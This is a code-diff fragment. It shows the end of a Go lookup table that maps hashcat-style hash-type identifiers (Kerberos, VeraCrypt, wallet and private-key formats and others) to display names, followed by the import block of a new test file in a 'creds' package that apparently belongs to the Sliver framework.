||||
"KECCAK_512": "Keccak-512",
|
||||
"TOTP_HMAC_SHA1": "TOTP (HMAC-SHA1)",
|
||||
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
|
||||
"APPLE_FILE_SYSTEM_APFS": "Apple File System (APFS)",
|
||||
"OPEN_DOCUMENT_FORMAT_ODF_1_2_SHA_256_AES": "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
"SHA1_MD5_MD5_PASS": "sha1(md5(md5($pass)))",
|
||||
"OPEN_DOCUMENT_FORMAT_ODF_1_1_SHA_1_BLOWFISH": "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
"JAVA_OBJECT": "Java Object hashCode()",
|
||||
"BLOCKCHAIN_MY_WALLET_SECOND_PASSWORD_SHA256": "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
"ANDROID_BACKUP": "Android Backup",
|
||||
"QNX_MD5": "QNX /etc/shadow (MD5)",
|
||||
"QNX_SHA256": "QNX /etc/shadow (SHA256)",
|
||||
"QNX_SHA512": "QNX /etc/shadow (SHA512)",
|
||||
"QNX_7_ETC_SHADOW_SHA512": "QNX 7 /etc/shadow (SHA512)",
|
||||
"SHA1_SALT1_PASS_SALT2": "sha1($salt1.$pass.$salt2)",
|
||||
"RUBY_ON_RAILS_RESTFUL_AUTHENTICATION": "Ruby on Rails Restful-Authentication",
|
||||
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
|
||||
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
|
||||
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
|
||||
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
|
||||
"DISKCRYPTOR_SHA512_XTS_512_BIT": "DiskCryptor SHA512 + XTS 512 bit",
|
||||
"DISKCRYPTOR_SHA512_XTS_1024_BIT": "DiskCryptor SHA512 + XTS 1024 bit",
|
||||
"DISKCRYPTOR_SHA512_XTS_1536_BIT": "DiskCryptor SHA512 + XTS 1536 bit",
|
||||
"PYTHON_PASSLIB_PBKDF2_SHA512": "Python passlib pbkdf2-sha512",
|
||||
"PYTHON_PASSLIB_PBKDF2_SHA256": "Python passlib pbkdf2-sha256",
|
||||
"PYTHON_PASSLIB_PBKDF2_SHA1": "Python passlib pbkdf2-sha1",
|
||||
"PKZIP_MASTER_KEY": "PKZIP Master Key",
|
||||
"PKZIP_MASTER_KEY_6_BYTE_OPTIMIZATION": "PKZIP Master Key (6 byte optimization)",
|
||||
"ORACLE_TRANSPORTATION_MANAGEMENT_SHA256": "Oracle Transportation Management (SHA256)",
|
||||
"SHA256_SHA256_PASS_SALT_MODE_20710": "sha256(sha256($pass).$salt)",
|
||||
"AUTHME_SHA256": "AuthMe sha256",
|
||||
"RSA_SECURITY_ANALYTICS_NETWITNESS_SHA256": "RSA Security Analytics / NetWitness (sha256)",
|
||||
"SHA256_SALT_SHA256_PASS": "sha256($salt.sha256($pass))",
|
||||
"SHA256_SHA256_PASS_SALT_MODE_20730": "sha256(sha256($pass.$salt))",
|
||||
"SHA256_MD5_PASS": "sha256(md5($pass))",
|
||||
"MD5_SHA1_PASS_MD5_PASS_SHA1_PASS": "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
"BITSHARES_V0_X_SHA512_SHA512_BIN_PASS": "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
"SHA1_MD5_PASS_SALT_MODE_21100": "sha1(md5($pass.$salt))",
|
||||
"MD5_SHA1_SALT_MD5_PASS": "md5(sha1($salt).md5($pass))",
|
||||
"MD5_SALT_SHA1_SALT_PASS": "md5($salt.sha1($salt.$pass))",
|
||||
"MD5_SALT1_SHA1_SALT2_PASS": "md5($salt1.sha1($salt2.$pass))",
|
||||
"SHA256_SHA256_BIN_PASS": "sha256(sha256_bin($pass))",
|
||||
"SHA256_SALT_SHA256_BIN_PASS": "sha256($salt.sha256_bin($pass))",
|
||||
"SOLARWINDS_ORION": "SolarWinds Orion",
|
||||
"SOLARWINDS_ORION_V2": "SolarWinds Orion v2",
|
||||
"WEB2PY_PBKDF2_SHA512": "Web2py pbkdf2-sha512",
|
||||
"ELECTRUM_WALLET_SALT_TYPE_4": "Electrum Wallet (Salt-Type 4)",
|
||||
"ELECTRUM_WALLET_SALT_TYPE_5": "Electrum Wallet (Salt-Type 5)",
|
||||
"MD5_MD5_MD5_PASS_SALT1_SALT2_MODE_21900": "md5(md5(md5($pass.$salt1)).$salt2)",
|
||||
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
|
||||
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
|
||||
"BITLOCKER": "BitLocker",
|
||||
"CITRIX_NETSCALER_SHA512": "Citrix NetScaler (SHA512)",
|
||||
"SHA256_SALT_PASS_SALT": "sha256($salt.$pass.$salt)",
|
||||
"TELEGRAM_MOBILE_APP_PASSCODE_SHA256": "Telegram Mobile App Passcode (SHA256)",
|
||||
"AES_CRYPT_SHA256": "AES Crypt (SHA256)",
|
||||
"MULTIBIT_CLASSIC_KEY_MD5": "MultiBit Classic .key (MD5)",
|
||||
"TELEGRAM_DESKTOP_V2_1_14_PBKDF2_HMAC_SHA1": "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
"MULTIBIT_HD_SCRYPT": "MultiBit HD (scrypt)",
|
||||
"SIMPLA_CMS_MD5_SALT_PASS_MD5_PASS": "Simpla CMS - md5($salt.$pass.md5($pass))",
|
||||
"RSA_DSA_EC_OPENSSH_PRIVATE_KEYS_0": "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
"RSA_DSA_EC_OPENSSH_PRIVATE_KEYS_6": "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
"RSA_DSA_EC_OPENSSH_PRIVATE_KEYS_1_3": "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
"RSA_DSA_EC_OPENSSH_PRIVATE_KEYS_4": "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
"RSA_DSA_EC_OPENSSH_PRIVATE_KEYS_5": "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
"SECUREZIP_AES_128": "SecureZIP AES-128",
|
||||
"SECUREZIP_AES_192": "SecureZIP AES-192",
|
||||
"SECUREZIP_AES_256": "SecureZIP AES-256",
|
||||
"APPLE_KEYCHAIN": "Apple Keychain",
|
||||
"XMPP_SCRAM_PBKDF2_SHA1": "XMPP SCRAM PBKDF2-SHA1",
|
||||
"APPLE_IWORK": "Apple iWork",
|
||||
"BITWARDEN": "Bitwarden",
|
||||
"AXCRYPT_2_AES_128": "AxCrypt 2 AES-128",
|
||||
"AXCRYPT_2_AES_256": "AxCrypt 2 AES-256",
|
||||
"RAR3_P_UNCOMPRESSED": "RAR3-p (Uncompressed)",
|
||||
"RAR3_P_COMPRESSED": "RAR3-p (Compressed)",
|
||||
"BESTCRYPT_V3_VOLUME_ENCRYPTION": "BestCrypt v3 Volume Encryption",
|
||||
"BESTCRYPT_V4_VOLUME_ENCRYPTION": "BestCrypt v4 Volume Encryption",
|
||||
"MONGODB_SERVERKEY_SCRAM_SHA_1": "MongoDB ServerKey SCRAM-SHA-1",
|
||||
"MONGODB_SERVERKEY_SCRAM_SHA_256": "MongoDB ServerKey SCRAM-SHA-256",
|
||||
"SHA1_SALT_SHA1_PASS_SALT": "sha1($salt.sha1($pass.$salt))",
|
||||
"PKCS_8_PRIVATE_KEYS_PBKDF2_HMAC_SHA1_3DES_AES": "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
"PKCS_8_PRIVATE_KEYS_PBKDF2_HMAC_SHA256_3DES_AES": "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
"TELEGRAM_DESKTOP_V2_1_14_PBKDF2_HMAC_SHA512": "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
"SQLCIPHER": "SQLCipher",
|
||||
"STUFFIT5": "Stuffit5",
|
||||
"UMBRACO_HMAC_SHA1": "Umbraco HMAC-SHA1",
|
||||
"DAHUA_AUTHENTICATION_MD5": "Dahua Authentication MD5",
|
||||
"BESDER_AUTHENTICATION_MD5": "Besder Authentication MD5",
|
||||
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96/HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
|
||||
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
|
||||
"MS_OFFICE_2016_SHEETPROTECTION": "MS Office 2016 - SheetProtection",
|
||||
"PDF_1_4_1_6_ACROBAT_5_8_USER_AND_OWNER_PASS": "PDF 1.4 - 1.6 (Acrobat 5 - 8) - user and owner pass",
|
||||
"STARGAZER_STELLAR_WALLET_XLM": "Stargazer Stellar Wallet XLM",
|
||||
"BCRYPT_MD5_PASS": "bcrypt(md5($pass))",
|
||||
"MURMUR": "MurmurHash",
|
||||
"BCRYPT_SHA1_PASS": "bcrypt(sha1($pass))",
|
||||
"KNX_IP_SECURE_DEVICE_AUTHENTICATION_CODE": "KNX IP Secure - Device Authentication Code",
|
||||
"MOZILLA_KEY3_DB": "Mozilla key3.db",
|
||||
"MOZILLA_KEY4_DB": "Mozilla key4.db",
|
||||
"OPENEDGE_PROGRESS_ENCODE": "OpenEdge Progress Encode",
|
||||
"FORTIGATE256_FORTIOS256": "FortiGate256 (FortiOS256)",
|
||||
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"IPHONE_PASSCODE_UID_KEY_SYSTEM_KEYBAG": "iPhone passcode (UID key + System Keybag)",
|
||||
"METAMASK_WALLET_NEEDS_ALL_DATA_CHECKS_AES_GCM_TAG": "MetaMask Wallet (needs all data, checks AES-GCM tag)",
|
||||
"METAMASK_WALLET_SHORT_HASH_PLAINTEXT_CHECK": "MetaMask Wallet (short hash, plaintext check)",
|
||||
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
|
||||
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
|
||||
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
|
||||
"NET_NTLM_V1_NT": "NetNTLMv1 / NetNTLMv1+ESS (NT)",
|
||||
"NET_NTLM_V2_NT": "NetNTLMv2 (NT)",
|
||||
"RUBY_ON_RAILS_RESTFUL_AUTH_ONE_ROUND_NO_SITEKEY": "Ruby on Rails Restful Auth (one round, no sitekey)",
|
||||
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
|
||||
"VMWARE_VMX_PBKDF2_HMAC_SHA1_AES_256_CBC": "VMware VMX (PBKDF2-HMAC-SHA1 + AES-256-CBC)",
|
||||
"VIRTUALBOX_PBKDF2_HMAC_SHA256_AES_128_XTS": "VirtualBox (PBKDF2-HMAC-SHA256 & AES-128-XTS)",
|
||||
"VIRTUALBOX_PBKDF2_HMAC_SHA256_AES_256_XTS": "VirtualBox (PBKDF2-HMAC-SHA256 & AES-256-XTS)",
|
||||
"MULTIBIT_CLASSIC_WALLET_SCRYPT": "MultiBit Classic .wallet (scrypt)",
|
||||
"MURMUR3": "MurmurHash3",
|
||||
"CRC32C": "CRC32C",
|
||||
"CRC64Jones": "CRC64Jones",
|
||||
"WINDOWS_HELLO_PIN": "Windows Hello PIN/Password",
|
||||
"EXODUS_DESKTOP_WALLET_SCRYPT": "Exodus Desktop Wallet (scrypt)",
|
||||
"TEAMSPEAK_3_CHANNEL_HASH": "Teamspeak 3 (channel hash)",
|
||||
"BCRYPT_SHA512_PASS": "bcrypt(sha512($pass))",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2PKH_COMPRESSED": "Bitcoin WIF private key (P2PKH), compressed",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2PKH_UNCOMPRESSED": "Bitcoin WIF private key (P2PKH), uncompressed",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2WPKH_BECH32_COMPRESSED": "Bitcoin WIF private key (P2WPKH, Bech32), compressed",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2WPKH_BECH32_UNCOMPRESSED": "Bitcoin WIF private key (P2WPKH, Bech32), uncompressed",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2SH_P2WPKH_COMPRESSED": "Bitcoin WIF private key (P2SH(P2WPKH)), compressed",
|
||||
"BITCOIN_WIF_PRIVATE_KEY_P2SH_P2WPKH_UNCOMPRESSED": "Bitcoin WIF private key (P2SH(P2WPKH)), uncompressed",
|
||||
"POSTGRESQL_SCRAM_SHA_256": "PostgreSQL SCRAM-SHA-256",
|
||||
"AMAZON_AWS_SIGNATURE_VERSION_4": "Amazon AWS Signature Version 4",
|
||||
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
|
||||
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
|
||||
"SHA1_SALT_SHA1_UTF16LE_USERNAME_UTF16LE_PASS": "sha1($salt.sha1(utf16le($username).':'.utf16le($pass)))",
|
||||
"FLASK": "Flask Session Cookie ($salt.$salt.$pass)",
|
||||
"RADMIN_3": "Radmin3",
|
||||
"TRUECRYPT_RIPEMD160_XTS_512_BIT": "TrueCrypt RIPEMD160 + XTS 512 bit",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1024_BIT": "TrueCrypt RIPEMD160 + XTS 1024 bit",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1536_BIT": "TrueCrypt RIPEMD160 + XTS 1536 bit",
|
||||
"TRUECRYPT_SHA512_XTS_512_BIT": "TrueCrypt SHA512 + XTS 512 bit",
|
||||
"TRUECRYPT_SHA512_XTS_1024_BIT": "TrueCrypt SHA512 + XTS 1024 bit",
|
||||
"TRUECRYPT_SHA512_XTS_1536_BIT": "TrueCrypt SHA512 + XTS 1536 bit",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_512_BIT": "TrueCrypt Whirlpool + XTS 512 bit",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_1024_BIT": "TrueCrypt Whirlpool + XTS 1024 bit",
|
||||
"TRUECRYPT_WHIRLPOOL_XTS_1536_BIT": "TrueCrypt Whirlpool + XTS 1536 bit",
|
||||
"TRUECRYPT_RIPEMD160_XTS_512_BIT_BOOT_MODE": "TrueCrypt RIPEMD160 + XTS 512 bit + boot-mode",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1024_BIT_BOOT_MODE": "TrueCrypt RIPEMD160 + XTS 1024 bit + boot-mode",
|
||||
"TRUECRYPT_RIPEMD160_XTS_1536_BIT_BOOT_MODE": "TrueCrypt RIPEMD160 + XTS 1536 bit + boot-mode",
|
||||
"VERACRYPT_RIPEMD160_XTS_512_BIT": "VeraCrypt RIPEMD160 + XTS 512 bit",
|
||||
"VERACRYPT_RIPEMD160_XTS_1024_BIT": "VeraCrypt RIPEMD160 + XTS 1024 bit",
|
||||
"VERACRYPT_RIPEMD160_XTS_1536_BIT": "VeraCrypt RIPEMD160 + XTS 1536 bit",
|
||||
"VERACRYPT_SHA512_XTS_512_BIT": "VeraCrypt SHA512 + XTS 512 bit",
|
||||
"VERACRYPT_SHA512_XTS_1024_BIT": "VeraCrypt SHA512 + XTS 1024 bit",
|
||||
"VERACRYPT_SHA512_XTS_1536_BIT": "VeraCrypt SHA512 + XTS 1536 bit",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_512_BIT": "VeraCrypt Whirlpool + XTS 512 bit",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_1024_BIT": "VeraCrypt Whirlpool + XTS 1024 bit",
|
||||
"VERACRYPT_WHIRLPOOL_XTS_1536_BIT": "VeraCrypt Whirlpool + XTS 1536 bit",
|
||||
"VERACRYPT_RIPEMD160_XTS_512_BIT_BOOT_MODE": "VeraCrypt RIPEMD160 + XTS 512 bit + boot-mode",
|
||||
"VERACRYPT_RIPEMD160_XTS_1024_BIT_BOOT_MODE": "VeraCrypt RIPEMD160 + XTS 1024 bit + boot-mode",
|
||||
"VERACRYPT_RIPEMD160_XTS_1536_BIT_BOOT_MODE": "VeraCrypt RIPEMD160 + XTS 1536 bit + boot-mode",
|
||||
"VERACRYPT_SHA256_XTS_512_BIT": "VeraCrypt SHA256 + XTS 512 bit",
|
||||
"VERACRYPT_SHA256_XTS_1024_BIT": "VeraCrypt SHA256 + XTS 1024 bit",
|
||||
"VERACRYPT_SHA256_XTS_1536_BIT": "VeraCrypt SHA256 + XTS 1536 bit",
|
||||
"VERACRYPT_SHA256_XTS_512_BIT_BOOT_MODE": "VeraCrypt SHA256 + XTS 512 bit + boot-mode",
|
||||
"VERACRYPT_SHA256_XTS_1024_BIT_BOOT_MODE": "VeraCrypt SHA256 + XTS 1024 bit + boot-mode",
|
||||
"VERACRYPT_SHA256_XTS_1536_BIT_BOOT_MODE": "VeraCrypt SHA256 + XTS 1536 bit + boot-mode",
|
||||
"VERACRYPT_STREEBOG_512_XTS_512_BIT": "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1024_BIT": "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1536_BIT": "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
"VERACRYPT_STREEBOG_512_XTS_512_BIT_BOOT_MODE": "VeraCrypt Streebog-512 + XTS 512 bit + boot-mode",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1024_BIT_BOOT_MODE": "VeraCrypt Streebog-512 + XTS 1024 bit + boot-mode",
|
||||
"VERACRYPT_STREEBOG_512_XTS_1536_BIT_BOOT_MODE": "VeraCrypt Streebog-512 + XTS 1536 bit + boot-mode",
|
||||
"LUKS_V1_SHA_1_AES": "LUKS v1 SHA-1 + AES",
|
||||
"LUKS_V1_SHA_1_SERPENT": "LUKS v1 SHA-1 + Serpent",
|
||||
"LUKS_V1_SHA_1_TWOFISH": "LUKS v1 SHA-1 + Twofish",
|
||||
"LUKS_V1_SHA_256_AES": "LUKS v1 SHA-256 + AES",
|
||||
"LUKS_V1_SHA_256_SERPENT": "LUKS v1 SHA-256 + Serpent",
|
||||
"LUKS_V1_SHA_256_TWOFISH": "LUKS v1 SHA-256 + Twofish",
|
||||
"LUKS_V1_SHA_512_AES": "LUKS v1 SHA-512 + AES",
|
||||
"LUKS_V1_SHA_512_SERPENT": "LUKS v1 SHA-512 + Serpent",
|
||||
"LUKS_V1_SHA_512_TWOFISH": "LUKS v1 SHA-512 + Twofish",
|
||||
"LUKS_V1_RIPEMD_160_AES": "LUKS v1 RIPEMD-160 + AES",
|
||||
"LUKS_V1_RIPEMD_160_SERPENT": "LUKS v1 RIPEMD-160 + Serpent",
|
||||
"LUKS_V1_RIPEMD_160_TWOFISH": "LUKS v1 RIPEMD-160 + Twofish",
|
||||
"TERRA_STATION_WALLET_AES256_CBC_PBKDF2_PASS": "Terra Station Wallet (AES256-CBC(PBKDF2($pass)))",
|
||||
"KEEPASS_KDBX_V2_V3_KEYFILE_ONLY": "KeePass (KDBX v2/v3) - keyfile only",
|
||||
"BISQ_WALLET_SCRYPT": "Bisq .wallet (scrypt)",
|
||||
"ENCSECURITY_DATAVAULT_PBKDF2_NO_KEYCHAIN": "ENCsecurity Datavault (PBKDF2/no keychain)",
|
||||
"ENCSECURITY_DATAVAULT_PBKDF2_KEYCHAIN": "ENCsecurity Datavault (PBKDF2/keychain)",
|
||||
"ENCSECURITY_DATAVAULT_MD5_NO_KEYCHAIN": "ENCsecurity Datavault (MD5/no keychain)",
|
||||
"ENCSECURITY_DATAVAULT_MD5_KEYCHAIN": "ENCsecurity Datavault (MD5/keychain)",
|
||||
"PYTHON_WERKZEUG_MD5_HMAC_MD5_KEY_SALT": "Python Werkzeug MD5 (HMAC-MD5 (key = $salt))",
|
||||
"PYTHON_WERKZEUG_SHA256_HMAC_SHA256_KEY_SALT": "Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt))",
|
||||
"DANE_RFC7929_RFC8162_SHA2_256": "DANE RFC7929/RFC8162 SHA2-256",
|
||||
"MD5_MD5_SALT_MD5_MD5_PASS": "md5(md5($salt).md5(md5($pass)))",
|
||||
"BCRYPT_SHA256_PASS": "bcrypt(sha256($pass))",
|
||||
"BCRYPT_HMAC_SHA256_PASS": "bcrypt(HMAC-SHA256($pass))",
|
||||
"ANOPE_IRC_SERVICES_ENC_SHA256": "Anope IRC Services (enc_sha256)",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2PKH_COMPRESSED": "Bitcoin raw private key (P2PKH), compressed",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2PKH_UNCOMPRESSED": "Bitcoin raw private key (P2PKH), uncompressed",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2WPKH_BECH32_COMPRESSED": "Bitcoin raw private key (P2WPKH, Bech32), compressed",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2WPKH_BECH32_UNCOMPRESSED": "Bitcoin raw private key (P2WPKH, Bech32), uncompressed",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2SH_P2WPKH_COMPRESSED": "Bitcoin raw private key (P2SH(P2WPKH)), compressed",
|
||||
"BITCOIN_RAW_PRIVATE_KEY_P2SH_P2WPKH_UNCOMPRESSED": "Bitcoin raw private key (P2SH(P2WPKH)), uncompressed",
|
||||
"BLAKE2S_256": "BLAKE2s-256",
|
||||
"SHANGMI_3_SM3": "ShangMi 3 (SM3)",
|
||||
"VEEAM_VBK": "Veeam VBK",
|
||||
"MS_SNTP": "MS SNTP",
|
||||
"SECURECRT_MASTERPASSPHRASE_V2": "SecureCRT MasterPassphrase v2",
|
||||
"DOMAIN_CACHED_CREDENTIALS_DCC_MS_CACHE_NT": "Domain Cached Credentials (DCC), MS Cache (NT)",
|
||||
"DOMAIN_CACHED_CREDENTIALS_2_DCC2_MS_CACHE_2_NT": "Domain Cached Credentials 2 (DCC2), MS Cache 2, (NT)",
|
||||
"MD5_MD5_MD5_PASS_SALT1_SALT2_MODE_31700": "md5(md5(md5($pass).$salt1).$salt2)",
|
||||
"HASHCAT_1PASSWORD_MOBILEKEYCHAIN_1PASSWORD_8": "1Password, mobilekeychain (1Password 8)",
|
||||
"METAMASK_MOBILE_WALLET": "MetaMask Mobile Wallet",
|
||||
"NETIQ_SSPR_MD5": "NetIQ SSPR (MD5)",
|
||||
"NETIQ_SSPR_SHA1": "NetIQ SSPR (SHA1)",
|
||||
"NETIQ_SSPR_SHA_1_WITH_SALT": "NetIQ SSPR (SHA-1 with Salt)",
|
||||
"NETIQ_SSPR_SHA_256_WITH_SALT": "NetIQ SSPR (SHA-256 with Salt)",
|
||||
"ADOBE_AEM_SSPR_SHA_256_WITH_SALT": "Adobe AEM (SSPR, SHA-256 with Salt)",
|
||||
"NETIQ_SSPR_SHA_512_WITH_SALT": "NetIQ SSPR (SHA-512 with Salt)",
|
||||
"ADOBE_AEM_SSPR_SHA_512_WITH_SALT": "Adobe AEM (SSPR, SHA-512 with Salt)",
|
||||
"NETIQ_SSPR_PBKDF2WITHHMACSHA1": "NetIQ SSPR (PBKDF2WithHmacSHA1)",
|
||||
"NETIQ_SSPR_PBKDF2WITHHMACSHA256": "NetIQ SSPR (PBKDF2WithHmacSHA256)",
|
||||
"NETIQ_SSPR_PBKDF2WITHHMACSHA512": "NetIQ SSPR (PBKDF2WithHmacSHA512)",
|
||||
"KERBEROS_5_ETYPE_17_AS_REP": "Kerberos 5, etype 17, AS-REP",
|
||||
"KERBEROS_5_ETYPE_18_AS_REP": "Kerberos 5, etype 18, AS-REP",
|
||||
"EMPIRE_CMS_ADMIN_PASSWORD": "Empire CMS (Admin password)",
|
||||
"SHA512_SHA512_PASS_SALT": "sha512(sha512($pass).$salt)",
|
||||
"SHA512_SHA512_BIN_PASS_SALT": "sha512(sha512_bin($pass).$salt)",
|
||||
"DOGECHAIN_INFO_WALLET": "Dogechain.info Wallet",
|
||||
"CUBECART_WHIRLPOOL_SALT_PASS_SALT": "CubeCart (whirlpool($salt.$pass.$salt))",
|
||||
"KREMLIN_ENCRYPT_3_0_W_NEWDES": "Kremlin Encrypt 3.0 w/NewDES",
|
||||
"MD5_SHA1_MD5_PASS": "md5(sha1(md5($pass)))",
|
||||
"PBKDF1_SHA1": "PBKDF1-SHA1",
|
||||
"MD5_SALT1_PASS_SALT2": "md5($salt1.$pass.$salt2)",
|
||||
"MD5_SALT_MD5_PASS_SALT_MODE_33100": "md5($salt.md5($pass).$salt)",
|
||||
"HMAC_BLAKE2S_KEY_PASS": "HMAC-BLAKE2S (key = $pass)",
|
||||
"MEGA_NZ_PASSWORD_PROTECTED_LINK_PBKDF2_HMAC_SHA512": "mega.nz password-protected link (PBKDF2-HMAC-SHA512)",
|
||||
"RC4_40_BIT_DROPN": "RC4 40-bit DropN",
|
||||
"RC4_72_BIT_DROPN": "RC4 72-bit DropN",
|
||||
"RC4_104_BIT_DROPN": "RC4 104-bit DropN",
|
||||
"RIPEMD_320": "RIPEMD-320",
|
||||
"HMAC_RIPEMD320_KEY_PASS": "HMAC-RIPEMD320 (key = $pass)",
|
||||
"HMAC_RIPEMD320_KEY_SALT": "HMAC-RIPEMD320 (key = $salt)",
|
||||
"MICROSOFT_ONLINE_ACCOUNT_PBKDF2_HMAC_SHA256_AES256": "Microsoft Online Account (PBKDF2-HMAC-SHA256 + AES256)",
|
||||
"WBB4_WOLTLAB_BURNING_BOARD_BCRYPT_BCRYPT_PASS": "WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))]",
|
||||
"CITRIX_NETSCALER_PBKDF2_HMAC_SHA256": "Citrix NetScaler (PBKDF2-HMAC-SHA256)",
|
||||
"ARGON2": "Argon2",
|
||||
"LUKS_V2_ARGON2_SHA_256_AES": "LUKS v2 argon2 + SHA-256 + AES",
|
||||
"MURMURHASH64A": "MurmurHash64A",
|
||||
"MURMURHASH64A_ZERO_SEED": "MurmurHash64A (zero seed)",
|
||||
"MURMURHASH64A_TRUNCATED_ZERO_SEED": "MurmurHash64A truncated (zero seed)",
|
||||
"KEEPASS_ARGON2_KDBX_V4": "KeePass Argon2 (KDBX v4)",
|
||||
"KEEPASS_AESKDF_KDBX_V4": "KeePass AESKDF (KDBX v4)",
|
||||
"SHA224_SHA224_PASS": "sha224(sha224($pass))",
|
||||
"SHA224_SHA1_PASS": "sha224(sha1($pass))",
|
||||
"MD6_256": "MD6 (256)",
|
||||
"BLOCKCHAIN_MY_WALLET_LEGACY_WALLETS": "Blockchain, My Wallet, Legacy Wallets",
|
||||
"BLAKE2B_256_MODE_34800": "BLAKE2b-256",
|
||||
"BLAKE2B_256_PASS_SALT": "BLAKE2b-256($pass.$salt)",
|
||||
"BLAKE2B_256_SALT_PASS": "BLAKE2b-256($salt.$pass)",
|
||||
"SAP_CODVN_H_PWDSALTEDHASH_ISSHA512": "SAP CODVN H (PWDSALTEDHASH) isSHA512",
|
||||
"SM3CRYPT_SM3_SM3_UNIX": "sm3crypt $sm3$, SM3 (Unix)",
|
||||
"AS_400_SSHA1": "AS/400 SSHA1",
|
||||
"KERBEROS_5_ETYPE_23_TGS_REP_NT": "Kerberos 5, etype 23, TGS-REP (NT)",
|
||||
"KERBEROS_5_ETYPE_23_AS_REP_NT": "Kerberos 5, etype 23, AS-REP (NT)",
|
||||
"WORDPRESS_BCRYPT_HMAC_SHA384_PASS": "Wordpress bcrypt(hmac-sha384($pass))",
|
||||
"GOST12512CRYPT_GOST12512HASH_UNIX": "gost12512crypt [$gost12512hash$] (Unix)",
|
||||
"PHPASS_MD5_PASS": "phpass(md5($pass))",
|
||||
"SYMFONY_LEGACY_SHA256": "Symfony Legacy SHA256",
|
||||
"YESCRYPT": "yescrypt",
|
||||
"GOST_YESCRYPT": "gost-yescrypt",
|
||||
"SCRYPTCRYPT_SCRYPT_UNIX": "scryptcrypt, scrypt (Unix)",
|
||||
"KDE_KWALLET_4_13_PBKDF2_HMAC_SHA512_BLOWFISH": "KDE KWallet 4.13+ (PBKDF2-HMAC-SHA512, Blowfish)",
|
||||
"KDE_KWALLET_4_13_SHA_1_BLOWFISH": "KDE KWallet < 4.13 (SHA-1, Blowfish)",
|
||||
"ARGON2ID_BRIDGED_REFERENCE_IMPLEMENTATION_TUNINGS": "Argon2id [Bridged: reference implementation + tunings]",
|
||||
"SCRYPT_BRIDGED_SCRYPT_JANE_SMIX": "scrypt [Bridged: Scrypt-Jane SMix]",
|
||||
"SCRYPT_BRIDGED_SCRYPT_YESCRYPT": "scrypt [Bridged: Scrypt-Yescrypt]",
|
||||
"GENERIC_HASH_BRIDGED_PYTHON_INTERPRETER_FREE_THREADING": "Generic Hash [Bridged: Python Interpreter free-threading]",
|
||||
"GENERIC_HASH_BRIDGED_PYTHON_INTERPRETER_WITH_GIL": "Generic Hash [Bridged: Python Interpreter with GIL]",
|
||||
"GENERIC_HASH_BRIDGED_RUST": "Generic Hash [Bridged: Rust]",
|
||||
"PLAINTEXT": "Plaintext",
|
||||
}
|
||||
@@ -0,0 +1,210 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
